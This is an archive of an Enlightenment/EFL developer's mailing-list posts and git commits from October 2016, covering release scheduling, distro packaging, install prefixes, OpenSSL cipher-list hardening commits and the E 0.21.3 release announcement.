On 10/26/2016 07:57 PM, Stefan Schmidt wrote: > Hello. > > On 24/10/16 23:01, Simon Lees wrote: >> >> >> On 10/25/2016 04:12 AM, Cedric BAIL wrote: >>> On Mon, Oct 24, 2016 at 1:48 AM, Stefan Schmidt >>> wrote: >>>> On 12/09/16 19:01, Cedric BAIL wrote: >>>>> On Mon, Sep 12, 2016 at 7:58 AM, Stefan Schmidt >>>>> wrote: >>>>>> On 10/09/16 01:29, Cedric BAIL wrote: >>>>>>> I fully agree with Andrew. I have yet to review what still need to be >>>>>>> done regarding Efl new interface task, but I hope that 1.19 will be >>>>>>> our final call. We do now have time to cleanup example and check that >>>>>>> things look fine. >>>>>> >>>>>> Please correct me if I did not get you two correctly here. >>>>>> >>>>>> You both think we should release 1.19 only once the interface work is >>>>>> fully done? Be it in 3 months or in a year? >>>>> >>>>> I hope that we will be done by November. >>>> >>>> >>>> You still hope this? >>> >>> Nope. Not anymore, should have updated this thread last week. We have >>> been unable to secure someone to work on genlist/gengrid and it will >>> not be done for 1.19. Blocking on efl interface to be done for 1.19 is >>> now useless in my opinion (or wishfull thinking). I think we would be >>> even fine with a shorter dead line. Just let me merge eo/efl/ecore and >>> that would be the only really important change for this release. >>> >> >> From a Distro / application perspective this is quite painful, what >> happened with 1.18 and I guess what will continue to happen basically >> every efl release a bunch of apps using eo break so they need to put out >> a point release just to fix building which means that release needs to >> be packaged etc For this reason i'm hesitant to push any eo based >> apps such as enventor into anything other then an unstable part of the >> distro. > > I can see your pain with this. One way of mitigation from the app side I > have seen is that they follow up with a release on their own after a > major EFL release so you have at least a matching combination. > > If that is enough for you to ship them is obviously up to you. > The problem is perhaps harder the other way as in a openSUSE stable release we won't update to a new feature efl release we will only take the point releases (One of the reasons I created LTS for efl and e). This means that if any of the eo based apps do a bug fix release after 1.19 is released they will probably also include the eo interface changes as expected which means that I wouldn't be able to use that release. For this reason none of the eo based apps will be in the upcoming release but I was preparing some of them for the release after as this was going to be sorted by then but now i'm less sure. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Python-Efl doesn't compile
On 10/25/2016 08:11 PM, Al Poole wrote: >> >> >> With a distro maintainer hat on a script like this shouldn't install to >> /usr by default that will cause alot of issues with package managers etc >> so either /usr/local or /opt is the correct place, at the same time this >> means that the script probably needs to make some symlinks into /etc and >> have a way to reset them. >> >> I'll add don't use /usr/local either as that's where FreeBSD and OpenBSD > store third-party _packages_. > > So that leaves.../opt or /sw or whatever you like, probably /opt! > > ! :) Well essentially this script is a 3rd party package so unless the BSD packages people are working on are also installing to /usr/local it should be fine. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Python-Efl doesn't compile
On 10/25/2016 07:22 PM, Davide Andreoli wrote: > 2016-10-25 1:08 GMT+02:00 Simon Lees : > >> >> >> On 10/25/2016 08:58 AM, Andrew Williams wrote: >>> That could work but it may have needed lots more env passed in. On IRC >> dave >>> pointed out that sudo -E should work, and it did :) >>> >> While it works it also adds additional security risks due to the >> potential for environment variable injection so its use should be >> strongly discouraged. >> > > indeed, and also it is not supported everywhere, it is probably easy > to find systems where it is not allowed by sudo config. > > The real problem here is that Efler (by default) install stuff in /opt/efler > that is a non standard place. You will have tons of issues in systems > different than yours, fe: how installed efl apps will find the installed > libs? > are you installing something in /etc/ld.so.conf.d ? > > I think that Efler should not change the PREFIX by default, just don't > pass --prefix so that the system can choose the best place to install > ...of course let the user override it > With a distro maintainer hat on a script like this shouldn't install to /usr by default that will cause alot of issues with package managers etc so either /usr/local or /opt is the correct place, at the same time this means that the script probably needs to make some symlinks into /etc and have a way to reset them. > > >> >>> On Mon, 24 Oct 2016 at 20:46, Massimo Maiurana >> wrote: >>> >>>> Uh? >>>> >>>> I usually install in /opt/e17 via sudo just exporting >>>> PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/opt/e17/lib/pkgconfig, maybe you can >>>> set something similar in your scripts. >>>> >>>> Bye >>>> Massimo >>>> >>>> Andrew Williams ha scritto il 24/10/2016 alle 20:59: >>>>> Hi, >>>>> >>>>> The sudo python setup.py install does not work as sodos pkgconfig >> cannot >>>>> find efl it seems... >>>>> >>>>> Andy >>>>> >>>>> On Mon, 24 Oct 2016 at 18:26, Davide Andreoli >>>>> wrote: >>>>> >>>>>> 2016-10-23 21:42 GMT+02:00 Andrew Williams : >>>>>> >>>>>>> My apologies you are quite right - it is building just fine. Sorry >> for >>>>>>> that, my info was out of date >>>>>>> >>>>>> >>>>>> :) >>>>>> >>>>>> >>>>>>> I can't get it installed however - perhaps you can help? Regular user >>>>>>> cannot write to site-packages but sudo does not have efl paths setup. >>>> Is >>>>>> it >>>>>>> possible to make it work like the main build so your user does all of >>>> the >>>>>>> building and sudo can blindly install? >>>>>>> >>>>>> >>>>>> sure, try: >>>>>> python setup.py build >>>>>> sudo python setup.py install >>>>>> >>>>>> >>>>>>> >>>>>>> Many thanks indeed - if I solve this I can include it in Efler as I >>>>>> hoped. >>>>>>> (And egitu and a bunch of those great apps) >>>>>>> >>>>>> >>>>>> Great, If you add it to efler I highly suggest to go with python3 by >>>>>> default, >>>>>> just use python3 in all the setup.py commands. >>>>>> >>>>>> (and sadly I have no time to maintain egitu atm, it have some small >>>> issues, >>>>>> but it's usable, I use it every time I use git, it just have some >> issue >>>>>> with refreshing >>>>>> the contents at the correct time) >>>>>> >>>>>> >>>>>>> >>>>>>> Andrew >>>>>>> >>>>>>> On Sun, 23 Oct 2016 at 20:29, Davide Andreoli < >> d...@gurumeditation.it> >>>>>>> wrote: >>>>>>> >>>>>>>> 2016-10-22 16:18 GMT+02:00 Andrew Williams : >>>>>>>> >>>>>>>>> I'm pretty sure the python bindings have not been updated in a >> wh
Re: [E-devel] Python-Efl doesn't compile
>>>> log >>>>>> to >>>>>>>> preserve its lines length. >>>>>>>> >>>>>>>> -- >>>>>>>> Massimo Maiurana >>>>>>>> Ragusa (RG) >>>>>>>> >>>>>>>> >>>>>>> -- >>>>>>>> Check out the vibrant tech community on one of the world's most >>>>>>>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>>>>>>> ___ >>>>>>>> enlightenment-devel mailing list >>>>>>>> enlightenment-devel@lists.sourceforge.net >>>>>>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>>>>>>> >>>>>>> >>>>>>> -- >>>>>>> Check out the vibrant tech community on one of the world's most >>>>>>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>>>>>> ___ >>>>>>> enlightenment-devel mailing list >>>>>>> enlightenment-devel@lists.sourceforge.net >>>>>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>>>>>> >>>>>> >>>>>> >>>>> -- >>>>>> Check out the vibrant tech community on one of the world's most >>>>>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>>>>> ___ >>>>>> enlightenment-devel mailing list >>>>>> enlightenment-devel@lists.sourceforge.net >>>>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>>>>> >>>>> ---- >>>>> -- >>>>> Check out the vibrant tech community on one of the world's most >>>>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>>>> ___ >>>>> enlightenment-devel mailing list >>>>> enlightenment-devel@lists.sourceforge.net >>>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>>>> >>>> >>>> >> -- >>>> Check out the vibrant tech community on one of the world's most >>>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>>> ___ >>>> enlightenment-devel mailing list >>>> enlightenment-devel@lists.sourceforge.net >>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>>> >>> >> -- >>> Check out the vibrant tech community on one of the world's most >>> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >>> ___ >>> enlightenment-devel mailing list >>> enlightenment-devel@lists.sourceforge.net >>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >>> >> >> >> -- >> Massimo Maiurana >> Ragusa (RG) >> >> >> -- >> Check out the vibrant tech community on one of the world's most >> engaging tech sites, SlashDot.org! http://sdm.link/slashdot >> ___ >> enlightenment-devel mailing list >> enlightenment-devel@lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >> > -- > The Command Line: Reinvented for Modern Developers > Did the resurgence of CLI tooling catch you by surprise? > Reconnect with the command line and become more productive. > Learn the new .NET and ASP.NET CLI. Get your free copy! > http://sdm.link/telerik > ___ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Enlightenment on OpenIndiana
On 10/25/2016 02:00 AM, Aurélien Larcher wrote: > Hi, > some time ago I packaged Enlightenement 0.19.3 then 0.19.5 with EFL > 1.12.3 for OpenIndiana and it has been provided in our repository > since then. > Vincent and Boris kindly helped me back then. > > I have been willing to update the packages but applications fail to > start since my tests with EFL 1.16 and I have not found the time to > dig further. > > Again last week-end I updated our components > > https://github.com/alarcher/oi-userland/tree/e_latest/components/desktop/e > > and gave it a try... without success. > > While I could run all expedite tests with gl and sdl engines (xlib > crashes at one test, most likely due to a X11 bug), applications like > elementary_config, elementary_test, rage, terminology fail to start > properly: they hang right after the window appears. > I am trying to figure out if there is a regression in libxcb between > 1.11 and 1.11.1. > All Linux distro's are building without xcb enabled as its actually slower in this use case, but it seems like you are also building without xcb as well which is correct. The rest of your configure flags for efl also look sensible. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
On 10/25/2016 04:12 AM, Cedric BAIL wrote: > On Mon, Oct 24, 2016 at 1:48 AM, Stefan Schmidt > wrote: >> On 12/09/16 19:01, Cedric BAIL wrote: >>> On Mon, Sep 12, 2016 at 7:58 AM, Stefan Schmidt >>> wrote: >>>> On 10/09/16 01:29, Cedric BAIL wrote: >>>>> I fully agree with Andrew. I have yet to review what still need to be >>>>> done regarding Efl new interface task, but I hope that 1.19 will be >>>>> our final call. We do now have time to cleanup example and check that >>>>> things look fine. >>>> >>>> Please correct me if I did not get you two correctly here. >>>> >>>> You both think we should release 1.19 only once the interface work is >>>> fully done? Be it in 3 months or in a year? >>> >>> I hope that we will be done by November. >> >> >> You still hope this? > > Nope. Not anymore, should have updated this thread last week. We have > been unable to secure someone to work on genlist/gengrid and it will > not be done for 1.19. Blocking on efl interface to be done for 1.19 is > now useless in my opinion (or wishfull thinking). I think we would be > even fine with a shorter dead line. Just let me merge eo/efl/ecore and > that would be the only really important change for this release. > From a Distro / application perspective this is quite painful, what happened with 1.18 and I guess what will continue to happen basically every efl release a bunch of apps using eo break so they need to put out a point release just to fix building which means that release needs to be packaged etc For this reason i'm hesitant to push any eo based apps such as enventor into anything other then an unstable part of the distro. Atleast the showstoper based release forces those who want Y and Z into releases to also get X done. If someone can't get this finished basically everyone working on eo based apps are currently wasting there time because know one can use them and they probably should be finishing this work instead. I was starting to consider pushing eo based apps based off the fact there would only be one more break but I guess I'm back to holding off. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- The Command Line: Reinvented for Modern Developers Did the resurgence of CLI tooling catch you by surprise? Reconnect with the command line and become more productive. Learn the new .NET and ASP.NET CLI. Get your free copy! http://sdm.link/telerik___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] [RFC] One binary to rule them all, packagers opinion needed
efl_core > integrate and so on. The only merge I would still go with is > efl/eo/ecore as they are clearly linked strongly by behavior now. > I think that given the long term plan has been to merge libraries, its only really worth while if the speedup vs the merged libraries is significant and if it really is only systems like rpi's that are having enough issues for it to be worth it maybe it should be a configure option for people building on those systems so general purpose distro's stay as is, the downside of that though is it wouldn't be well tested. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/efl] efl-1.18 01/01: Emile: use stronger ssl cipher
simotek pushed a commit to branch efl-1.18.
http://git.enlightenment.org/core/efl.git/commit/?id=48d567d87c2a7530a9399192547bb22974cf949f
commit 48d567d87c2a7530a9399192547bb22974cf949f
Author: Simon Lees
Date: Mon Oct 17 20:58:04 2016 +1030
Emile: use stronger ssl cipher
Follows on from 356a1aa87a04a8d1c43e01fa861270d0947069c0 emile
didn't exist when this work was done originally
---
src/lib/emile/emile_cipher_openssl.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/lib/emile/emile_cipher_openssl.c
b/src/lib/emile/emile_cipher_openssl.c
index 2bbe83f..301f3ba 100644
--- a/src/lib/emile/emile_cipher_openssl.c
+++ b/src/lib/emile/emile_cipher_openssl.c
@@ -321,7 +321,7 @@ emile_cipher_server_listen(Emile_Cipher_Type t)
INF("DH params successfully generated and applied!");
if (!SSL_CTX_set_cipher_list(r->ssl_ctx,
-"aNULL:!eNULL:!LOW:!EXPORT:@STRENGTH"))
+
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"))
goto on_error;
return r;
@@ -748,7 +748,7 @@ emile_cipher_server_connect(Emile_Cipher_Type t)
}
if (!SSL_CTX_set_cipher_list(r->ssl_ctx,
-
"aNULL:!eNULL:!LOW:!EXPORT:!ECDH:RSA:AES:!PSK:@STRENGTH"))
+
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"))
goto on_error;
return r;
--
[EGIT] [core/efl] master 01/01: Emile: use stronger ssl cipher
simotek pushed a commit to branch master.
http://git.enlightenment.org/core/efl.git/commit/?id=d7a2e8608b50f7c7791eb82e4d66652aa06371c4
commit d7a2e8608b50f7c7791eb82e4d66652aa06371c4
Author: Simon Lees
Date: Mon Oct 17 20:58:04 2016 +1030
Emile: use stronger ssl cipher
Follows on from 356a1aa87a04a8d1c43e01fa861270d0947069c0 emile
didn't exist when this work was done originally
---
src/lib/emile/emile_cipher_openssl.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/lib/emile/emile_cipher_openssl.c
b/src/lib/emile/emile_cipher_openssl.c
index 84048ce..9963c22 100644
--- a/src/lib/emile/emile_cipher_openssl.c
+++ b/src/lib/emile/emile_cipher_openssl.c
@@ -338,7 +338,7 @@ emile_cipher_server_listen(Emile_Cipher_Type t)
INF("DH params successfully generated and applied!");
if (!SSL_CTX_set_cipher_list(r->ssl_ctx,
-"aNULL:!eNULL:!LOW:!EXPORT:@STRENGTH"))
+
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"))
goto on_error;
return r;
@@ -765,7 +765,7 @@ emile_cipher_server_connect(Emile_Cipher_Type t)
}
if (!SSL_CTX_set_cipher_list(r->ssl_ctx,
-
"aNULL:!eNULL:!LOW:!EXPORT:!ECDH:RSA:AES:!PSK:@STRENGTH"))
+
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"))
goto on_error;
return r;
--
[EGIT] [core/efl] efl-1.18 01/01: ecore_ssl: Use stricter cipher suites
simotek pushed a commit to branch efl-1.18.
http://git.enlightenment.org/core/efl.git/commit/?id=dbcf8102eff8cbd39adb0387ed1f49004ed38558
commit dbcf8102eff8cbd39adb0387ed1f49004ed38558
Author: Simon Lees
Date: Mon Oct 17 13:58:32 2016 +1030
ecore_ssl: Use stricter cipher suites
Thanks to Victor Pereira from the SUSE Security team for auditing
this and recommending better options.
This has been discussed several times but knowone ever got to
commiting it.
---
src/lib/ecore_con/ecore_con_ssl.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/lib/ecore_con/ecore_con_ssl.c
b/src/lib/ecore_con/ecore_con_ssl.c
index c3338b2..68f61ae 100644
--- a/src/lib/ecore_con/ecore_con_ssl.c
+++ b/src/lib/ecore_con/ecore_con_ssl.c
@@ -1421,10 +1421,10 @@ _ecore_con_ssl_server_prepare_openssl(Ecore_Con_Server
*obj,
SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_tmp_dh(svr->ssl_ctx,
dh_params));
DH_free(dh_params);
INF("DH params successfully generated and applied!");
-SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aNULL:!eNULL:!LOW:!EXPORT:@STRENGTH"));
+SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"));
}
else if (!svr->use_cert)
- SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aNULL:!eNULL:!LOW:!EXPORT:!ECDH:RSA:AES:!PSK:@STRENGTH"));
+ SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"));
svr->ssl_prepared = EINA_TRUE;
return ECORE_CON_SSL_ERROR_NONE;
--
[EGIT] [core/efl] master 01/01: ecore_ssl: Use stricter cipher suites
simotek pushed a commit to branch master.
http://git.enlightenment.org/core/efl.git/commit/?id=356a1aa87a04a8d1c43e01fa861270d0947069c0
commit 356a1aa87a04a8d1c43e01fa861270d0947069c0
Author: Simon Lees
Date: Mon Oct 17 13:58:32 2016 +1030
ecore_ssl: Use stricter cipher suites
Thanks to Victor Pereira from the SUSE Security team for auditing
this and recommending better options.
This has been discussed several times but knowone ever got to
commiting it.
---
src/lib/ecore_con/ecore_con_ssl.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/lib/ecore_con/ecore_con_ssl.c
b/src/lib/ecore_con/ecore_con_ssl.c
index 7297474..b6e2c98 100644
--- a/src/lib/ecore_con/ecore_con_ssl.c
+++ b/src/lib/ecore_con/ecore_con_ssl.c
@@ -1421,10 +1421,10 @@ _ecore_con_ssl_server_prepare_openssl(Ecore_Con_Server
*obj,
SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_tmp_dh(svr->ssl_ctx,
dh_params));
DH_free(dh_params);
INF("DH params successfully generated and applied!");
-SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aNULL:!eNULL:!LOW:!EXPORT:@STRENGTH"));
+SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"));
}
else if (!svr->use_cert)
- SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aNULL:!eNULL:!LOW:!EXPORT:!ECDH:RSA:AES:!PSK:@STRENGTH"));
+ SSL_ERROR_CHECK_GOTO_ERROR(!SSL_CTX_set_cipher_list(svr->ssl_ctx,
"aRSA+HIGH:+kEDH:+kRSA:!kSRP:!kPSK:+3DES:!MD5"));
svr->ssl_prepared = EINA_TRUE;
return ECORE_CON_SSL_ERROR_NONE;
--
[E-devel] Another day (maybe) and the server is down again
*** SPANK SPANK SPANK!!! Enlightenment server is over capacity That puts it at under 24 hrs since this happened last, i'd probably put that in the category of needing urgent attention -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Monthly packaging status update
On 10/14/2016 07:17 PM, Stefan Schmidt wrote: > Hello. > > On 14/10/16 10:34, Simon Lees wrote: >> >> >> On 10/14/2016 06:47 PM, Stefan Schmidt wrote: >>> Hello. >>> >>> On 14/10/16 10:12, Simon Lees wrote: >>>> >>>> >>>> On 10/14/2016 06:28 PM, Stefan Schmidt wrote: >>>>> Hello. >>>>> >>>>> I just finished my monthly wiki page update and thought it might be >>>>> beneficial to send out short updates about it. >>>>> >>>>> o We had the usual updates for EFL and E following our stable releases >>>>> o The MacOSX homebrew port got updated from 1.14 to 1.18.1 (Thanks to >>>>> Jayji) >>>>> o There are packages for EFL 1.18.1 and E 0.21.2 in Debian experimental >>>>> now (Thanks to Ross) >>>>> o NuTyX 8.2 seem to have dropped support for EFL and E? I can only find >>>>> packages for 8.1 but not 8.2. Can anybody shed some light on this? >>>>> o FreeBSD got updated from 1.16 to latest >>>>> >>>>> https://phab.enlightenment.org/w/packaging_status/ >>>>> >>>>> regards >>>>> Stefan Schmidt >>>>> >>>> Next time around you can drop openSUSE 13.1 (LTS), and add openSUSE 42.2 >>>> (Links should be the same as 42.1 with a different number). >>> >>> Normally I wanted to keep the latest LTS around (if the distro has a LTS >>> release). As far as I understand 13.1 is the latest LTS you have for >>> openSUSE? >>> >> The LTS will go out of support next month and isn't being replaced with >> a traditional LTS, Instead the changes to the base system between >> updates in the 42.X series will be much smaller so its more like 42 SP1 >> and SP2 etc > > I see, strategy changed a bit. I will remove it. > >> >>> I can add the 42.2 without a problem. Will do it right now. >> >> Theres not heaps of hurry there the RC will be out soon and the release >> in the next month, but theres no hurt in adding it now. > > Right now the link still shows 42.1 versions only until you click on > unstable packages, etc. I will just switch the wiki entry from 42.1 to > 42.2 once the release is out. Great to see how you ensured a up to date > release of efl and E in there. :) 42.2 will get all the efl 1.18.X and e21.X LTS releases as well. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Monthly packaging status update
On 10/14/2016 06:47 PM, Stefan Schmidt wrote: > Hello. > > On 14/10/16 10:12, Simon Lees wrote: >> >> >> On 10/14/2016 06:28 PM, Stefan Schmidt wrote: >>> Hello. >>> >>> I just finished my monthly wiki page update and thought it might be >>> beneficial to send out short updates about it. >>> >>> o We had the usual updates for EFL and E following our stable releases >>> o The MacOSX homebrew port got updated from 1.14 to 1.18.1 (Thanks to Jayji) >>> o There are packages for EFL 1.18.1 and E 0.21.2 in Debian experimental >>> now (Thanks to Ross) >>> o NuTyX 8.2 seem to have dropped support for EFL and E? I can only find >>> packages for 8.1 but not 8.2. Can anybody shed some light on this? >>> o FreeBSD got updated from 1.16 to latest >>> >>> https://phab.enlightenment.org/w/packaging_status/ >>> >>> regards >>> Stefan Schmidt >>> >> Next time around you can drop openSUSE 13.1 (LTS), and add openSUSE 42.2 >> (Links should be the same as 42.1 with a different number). > > Normally I wanted to keep the latest LTS around (if the distro has a LTS > release). As far as I understand 13.1 is the latest LTS you have for > openSUSE? > The LTS will go out of support next month and isn't being replaced with a traditional LTS, Instead the changes to the base system between updates in the 42.X series will be much smaller so its more like 42 SP1 and SP2 etc > I can add the 42.2 without a problem. Will do it right now. Theres not heaps of hurry there the RC will be out soon and the release in the next month, but theres no hurt in adding it now. > > regards > Stefan Schmidt > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Monthly packaging status update
On 10/14/2016 06:28 PM, Stefan Schmidt wrote: > Hello. > > I just finished my monthly wiki page update and thought it might be > beneficial to send out short updates about it. > > o We had the usual updates for EFL and E following our stable releases > o The MacOSX homebrew port got updated from 1.14 to 1.18.1 (Thanks to Jayji) > o There are packages for EFL 1.18.1 and E 0.21.2 in Debian experimental > now (Thanks to Ross) > o NuTyX 8.2 seem to have dropped support for EFL and E? I can only find > packages for 8.1 but not 8.2. Can anybody shed some light on this? > o FreeBSD got updated from 1.16 to latest > > https://phab.enlightenment.org/w/packaging_status/ > > regards > Stefan Schmidt > Next time around you can drop openSUSE 13.1 (LTS), and add openSUSE 42.2 (Links should be the same as 42.1 with a different number). -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] Enlightenment DR 0.21.3 Release
CHANGES https://git.enlightenment.org/core/enlightenment.git/tree/NEWS?h=v0.21.3 TICKETS ADDRESSED * https://phab.enlightenment.org/T4007 * https://phab.enlightenment.org/T4430 * https://phab.enlightenment.org/T4439 * https://phab.enlightenment.org/T4499 * https://phab.enlightenment.org/T4544 * https://phab.enlightenment.org/T4632 * https://phab.enlightenment.org/T4655 SHA256SUM + DOWNLOAD 56c2690b67a499d8334403e5529f7f5d338078b9897716256957fe17d06f33fb http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.3.tar.gz b90517d3de780023043b6e3ade30f686bd2cdcf5b66d24155b50da720e665fd2 http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.3.tar.xz See the full announcement for more details: https://www.enlightenment.org/news/e21_3_release -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B -- ___ Enlightenment-release mailing list enlightenment-rele...@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-release -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE LinuxAdeliade Australia, UTC+9:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 01/02: 21.3 Release
